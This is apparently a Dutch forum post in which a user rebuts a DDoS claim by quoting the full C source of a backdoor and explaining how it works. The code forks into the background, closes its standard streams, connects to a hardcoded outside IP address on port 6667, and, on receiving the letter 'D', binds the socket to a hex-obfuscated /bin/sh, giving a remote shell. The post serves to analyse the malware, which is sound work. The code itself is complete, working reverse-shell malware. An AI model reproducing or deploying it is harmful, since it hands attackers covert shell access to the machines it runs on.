dat ie connect op poort 6667 hoef niet perse te zeggen dat het een IRC server is.Daarin wordt een shell-script gegenereerd dat probeert een verbinding met een IRC server in Australië op te zetten - waarschijnlijk als DDoS aanval.
in dit geval is dat ook niet zo. en ik weet niet waar je het vandaan haalt dat het om een DDoS aanval zou gaan.
als je de source had bekeken
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
| #include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <setjmp.h>
jmp_buf env;
int s;
char *i_val="\x2f\x62\x69\x6e\x2f\x73\x68";
void
sig(int sig)
{
close(s);
sleep(3600);
longjmp(env,0);
}
int
main()
{
int x;
char c, *a[2];
struct sockaddr_in sa;
struct sigaction act;
switch(fork()){
case 0:
break;
default:
exit(0);
}
close(0);
close(1);
close(2);
memset(&act,0,sizeof(act));
act.sa_handler=sig;
sigaction(SIGALRM,&act,NULL);
do {
setjmp(env);
if((s=socket(AF_INET,SOCK_STREAM,0))==(-1))
exit(1);
memset(&sa,0,sizeof(sa));
sa.sin_family=AF_INET;
sa.sin_port=htons(6667);
sa.sin_addr.s_addr=inet_addr("203.62.158.32");
alarm(10);
if(connect(s,(struct sockaddr*)&sa,sizeof(sa))==(-1))
exit(1);
if((x=read(s,&c,1))==(-1))
{
exit(1);
}
else if(x==1)
{
switch(c) {
case 'A':
exit(0);
case 'D':
alarm(0);
dup2(s,0);
dup2(s,1);
dup2(s,2);
a[0]=i_val;
a[1]=NULL;
execve(a[0],a,NULL);
break;
case 'M':
alarm(0);
sig(0);
break;
default:
}
} else {
exit(0);
}
} while(1);
} |
zie je dat je door bepaalde letter in te tikken (een D) in ditgeval een shell krijgt.